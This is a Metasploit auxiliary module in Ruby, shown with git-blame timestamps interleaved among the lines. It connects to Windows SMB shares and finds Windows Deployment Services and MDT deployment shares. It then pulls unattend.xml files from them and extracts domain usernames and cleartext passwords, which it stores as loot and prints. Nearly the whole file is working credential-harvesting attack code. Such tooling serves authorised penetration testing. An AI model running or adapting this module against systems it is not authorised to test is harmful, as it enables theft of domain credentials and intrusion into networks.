2013-01-31 20:02:10 +00:00
|
|
|
#
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-12-30 22:53:13 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-01-31 20:02:10 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'rex/proto/dcerpc'
|
|
|
|
require 'rex/parser/unattend'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-01-31 20:02:10 +00:00
|
|
|
|
2015-02-13 23:17:59 +00:00
|
|
|
include Msf::Exploit::Remote::SMB::Client
|
|
|
|
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
2013-09-05 21:20:04 +00:00
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
|
|
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Microsoft Windows Deployment Services Unattend Gatherer',
|
|
|
|
'Description' => %q{
|
2014-06-23 21:13:42 +00:00
|
|
|
This module will search remote file shares for unattended installation files that may contain
|
2014-06-23 22:08:33 +00:00
|
|
|
domain credentials. This is often used after discovering domain credentials with the
|
2014-06-23 21:13:42 +00:00
|
|
|
auxilliary/scanner/dcerpc/windows_deployment_services module or in cases where you already
|
2014-06-23 22:08:33 +00:00
|
|
|
have domain credentials. This module will connect to the RemInst share and any Microsoft
|
2014-06-23 21:13:42 +00:00
|
|
|
Deployment Toolkit shares indicated by the share name comments.
|
2013-09-05 21:20:04 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'MSDN', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'],
|
|
|
|
[ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html'],
|
|
|
|
],
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(445),
|
|
|
|
OptString.new('SMBDomain', [ false, "SMB Domain", '']),
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2013-09-05 21:20:04 +00:00
|
|
|
|
|
|
|
deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion')
|
|
|
|
end
|
|
|
|
|
2014-06-23 21:13:42 +00:00
|
|
|
# Determine the type of share based on an ID type value
|
2013-09-05 21:20:04 +00:00
|
|
|
def share_type(val)
|
2014-06-23 21:13:42 +00:00
|
|
|
stypes = %W{ DISK PRINTER DEVICE IPC SPECIAL TEMPORARY }
|
|
|
|
stypes[val] || 'UNKNOWN'
|
2013-09-05 21:20:04 +00:00
|
|
|
end
|
|
|
|
|
2014-06-23 21:13:42 +00:00
|
|
|
|
2013-09-05 21:20:04 +00:00
|
|
|
# Stolen from enumshares - Tried refactoring into simple client, but the two methods need to go in EXPLOIT::SMB and EXPLOIT::DCERPC
|
|
|
|
# and then the lanman method calls the RPC method. Suggestions where to refactor to welcomed!
|
|
|
|
def srvsvc_netshareenum
|
2014-06-23 21:13:42 +00:00
|
|
|
shares = []
|
|
|
|
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])
|
2014-06-23 22:08:33 +00:00
|
|
|
|
2014-06-23 21:13:42 +00:00
|
|
|
begin
|
|
|
|
dcerpc_bind(handle)
|
|
|
|
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
2016-06-08 17:16:50 +00:00
|
|
|
print_error(e.message)
|
2014-06-23 21:13:42 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
stubdata =
|
|
|
|
NDR.uwstring("\\\\#{rhost}") +
|
|
|
|
NDR.long(1) #level
|
|
|
|
|
|
|
|
ref_id = stubdata[0,4].unpack("V")[0]
|
|
|
|
ctr = [1, ref_id + 4 , 0, 0].pack("VVVV")
|
|
|
|
|
|
|
|
stubdata << ctr
|
|
|
|
stubdata << NDR.align(ctr)
|
|
|
|
stubdata << [0xffffffff].pack("V")
|
|
|
|
stubdata << [ref_id + 8, 0].pack("VV")
|
|
|
|
|
|
|
|
response = dcerpc.call(0x0f, stubdata)
|
|
|
|
|
|
|
|
# Additional error handling and validation needs to occur before
|
|
|
|
# this code can be moved into a mixin
|
|
|
|
|
|
|
|
res = response.dup
|
|
|
|
win_error = res.slice!(-4, 4).unpack("V")[0]
|
|
|
|
if win_error != 0
|
|
|
|
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} Win_error = #{win_error.to_i}")
|
|
|
|
end
|
|
|
|
|
|
|
|
# Level, CTR header, Reference ID of CTR
|
2014-06-23 22:08:33 +00:00
|
|
|
res.slice!(0,12)
|
2014-06-23 21:13:42 +00:00
|
|
|
share_count = res.slice!(0, 4).unpack("V")[0]
|
|
|
|
|
|
|
|
# Reference ID of CTR1
|
|
|
|
res.slice!(0,4)
|
|
|
|
share_max_count = res.slice!(0, 4).unpack("V")[0]
|
|
|
|
|
|
|
|
if share_max_count != share_count
|
|
|
|
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share_max_count did not match share_count")
|
|
|
|
end
|
|
|
|
|
|
|
|
# ReferenceID / Type / ReferenceID of Comment
|
|
|
|
types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]}
|
|
|
|
|
|
|
|
share_count.times do |t|
|
|
|
|
length, offset, max_length = res.slice!(0, 12).unpack("VVV")
|
2014-06-23 22:08:33 +00:00
|
|
|
|
2014-06-23 21:13:42 +00:00
|
|
|
if offset != 0
|
|
|
|
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share offset was not zero")
|
2013-09-05 21:20:04 +00:00
|
|
|
end
|
|
|
|
|
2014-06-23 21:13:42 +00:00
|
|
|
if length != max_length
|
|
|
|
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share name max length was not length")
|
2013-09-05 21:20:04 +00:00
|
|
|
end
|
2014-06-23 21:13:42 +00:00
|
|
|
|
|
|
|
name = res.slice!(0, 2 * length)
|
|
|
|
res.slice!(0,2) if length % 2 == 1 # pad
|
|
|
|
|
|
|
|
comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV")
|
|
|
|
|
|
|
|
if comment_offset != 0
|
|
|
|
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment offset was not zero")
|
2013-09-05 21:20:04 +00:00
|
|
|
end
|
|
|
|
|
2014-06-23 21:13:42 +00:00
|
|
|
if comment_length != comment_max_length
|
|
|
|
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment max length was not length")
|
|
|
|
end
|
2013-09-05 21:20:04 +00:00
|
|
|
|
2014-06-23 21:13:42 +00:00
|
|
|
comment = res.slice!(0, 2 * comment_length)
|
|
|
|
res.slice!(0,2) if comment_length % 2 == 1 # pad
|
2013-09-05 21:20:04 +00:00
|
|
|
|
2014-06-23 21:13:42 +00:00
|
|
|
shares << [ name, share_type(types[t]), comment]
|
|
|
|
end
|
2013-09-05 21:20:04 +00:00
|
|
|
|
2014-06-23 21:13:42 +00:00
|
|
|
shares
|
|
|
|
end
|
2013-09-05 21:20:04 +00:00
|
|
|
|
2014-06-23 21:13:42 +00:00
|
|
|
def run_host(ip)
|
|
|
|
deploy_shares = []
|
2013-09-05 21:20:04 +00:00
|
|
|
|
2014-06-23 21:13:42 +00:00
|
|
|
begin
|
|
|
|
connect
|
|
|
|
smb_login
|
|
|
|
srvsvc_netshareenum.each do |share|
|
|
|
|
# Ghetto unicode to ascii conversation
|
|
|
|
share_name = share[0].unpack("v*").pack("C*").split("\x00").first
|
|
|
|
share_comm = share[2].unpack("v*").pack("C*").split("\x00").first
|
|
|
|
share_type = share[1]
|
|
|
|
|
2014-06-23 22:11:04 +00:00
|
|
|
if share_type == "DISK" && (share_name == "REMINST" || share_comm == "MDT Deployment Share")
|
2016-06-08 17:16:50 +00:00
|
|
|
vprint_good("Identified deployment share #{share_name} #{share_comm}")
|
2014-06-23 21:13:42 +00:00
|
|
|
deploy_shares << share_name
|
2013-09-05 21:20:04 +00:00
|
|
|
end
|
2014-06-23 21:13:42 +00:00
|
|
|
end
|
2013-09-05 21:20:04 +00:00
|
|
|
|
2014-06-23 21:13:42 +00:00
|
|
|
deploy_shares.each do |deploy_share|
|
|
|
|
query_share(deploy_share)
|
2013-09-05 21:20:04 +00:00
|
|
|
end
|
2014-06-23 21:13:42 +00:00
|
|
|
|
|
|
|
rescue ::Interrupt
|
|
|
|
raise $!
|
|
|
|
end
|
2013-09-05 21:20:04 +00:00
|
|
|
end
|
|
|
|
|
2014-06-23 21:13:42 +00:00
|
|
|
def query_share(share)
|
|
|
|
share_path = "\\\\#{rhost}\\#{share}"
|
2016-06-08 17:16:50 +00:00
|
|
|
vprint_status("Enumerating #{share}...")
|
2014-06-23 21:13:42 +00:00
|
|
|
|
2013-09-05 21:20:04 +00:00
|
|
|
begin
|
2014-06-23 21:13:42 +00:00
|
|
|
simple.connect(share_path)
|
2014-06-23 22:08:33 +00:00
|
|
|
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
2016-06-08 17:16:50 +00:00
|
|
|
print_error("Could not access share: #{share} - #{e}")
|
2013-09-05 21:20:04 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
results = simple.client.file_search("\\", /unattend.xml$/i, 10)
|
|
|
|
|
|
|
|
results.each do |file_path|
|
|
|
|
file = simple.open(file_path, 'o').read()
|
2014-06-23 22:08:33 +00:00
|
|
|
next unless file
|
|
|
|
|
2014-06-23 21:13:42 +00:00
|
|
|
loot_unattend(file)
|
|
|
|
|
|
|
|
creds = parse_client_unattend(file)
|
|
|
|
creds.each do |cred|
|
2014-06-23 22:08:33 +00:00
|
|
|
next unless (cred && cred['username'] && cred['password'])
|
2014-06-23 21:13:42 +00:00
|
|
|
next unless cred['username'].to_s.length > 0
|
|
|
|
next unless cred['password'].to_s.length > 0
|
|
|
|
|
|
|
|
report_creds(cred['domain'].to_s, cred['username'], cred['password'])
|
2016-06-08 17:16:50 +00:00
|
|
|
print_good("Credentials: " +
|
2014-06-23 22:08:33 +00:00
|
|
|
"Path=#{share_path}#{file_path} " +
|
2014-06-23 21:13:42 +00:00
|
|
|
"Username=#{cred['domain'].to_s}\\#{cred['username'].to_s} " +
|
|
|
|
"Password=#{cred['password'].to_s}"
|
|
|
|
)
|
2013-09-05 21:20:04 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
2015-09-04 08:04:14 +00:00
|
|
|
def report_cred(opts)
|
|
|
|
service_data = {
|
|
|
|
address: opts[:ip],
|
|
|
|
port: opts[:port],
|
|
|
|
service_name: opts[:service_name],
|
|
|
|
protocol: 'tcp',
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_data = {
|
|
|
|
origin_type: :service,
|
|
|
|
module_fullname: fullname,
|
|
|
|
username: opts[:user],
|
|
|
|
private_data: opts[:password],
|
|
|
|
private_type: :password
|
|
|
|
}.merge(service_data)
|
|
|
|
|
|
|
|
login_data = {
|
|
|
|
core: create_credential(credential_data),
|
|
|
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
|
|
|
proof: opts[:proof]
|
|
|
|
}.merge(service_data)
|
|
|
|
|
|
|
|
create_credential_login(login_data)
|
|
|
|
end
|
|
|
|
|
2013-09-05 21:20:04 +00:00
|
|
|
def parse_client_unattend(data)
|
2014-06-23 21:13:42 +00:00
|
|
|
|
2013-09-05 21:20:04 +00:00
|
|
|
begin
|
|
|
|
xml = REXML::Document.new(data)
|
2014-06-23 21:13:42 +00:00
|
|
|
rescue REXML::ParseException => e
|
|
|
|
print_error("Invalid XML format")
|
|
|
|
vprint_line(e.message)
|
|
|
|
end
|
|
|
|
Rex::Parser::Unattend.parse(xml).flatten
|
2013-09-05 21:20:04 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def loot_unattend(data)
|
2014-06-23 21:13:42 +00:00
|
|
|
return if data.empty?
|
|
|
|
path = store_loot('windows.unattend.raw', 'text/plain', rhost, data, "Windows Deployment Services")
|
2016-06-08 17:16:50 +00:00
|
|
|
print_status("Stored unattend.xml in #{path}")
|
2013-09-05 21:20:04 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def report_creds(domain, user, pass)
|
2015-09-04 08:04:14 +00:00
|
|
|
report_cred(
|
|
|
|
ip: rhost,
|
|
|
|
port: 445,
|
|
|
|
service_name: 'smb',
|
|
|
|
user: "#{domain}\\#{user}",
|
|
|
|
password: pass,
|
|
|
|
proof: domain
|
2014-06-23 21:13:42 +00:00
|
|
|
)
|
2013-09-05 21:20:04 +00:00
|
|
|
end
|
2014-06-23 21:13:42 +00:00
|
|
|
|
2013-01-31 20:02:10 +00:00
|
|
|
end
|
2014-06-23 22:08:33 +00:00
|
|
|
|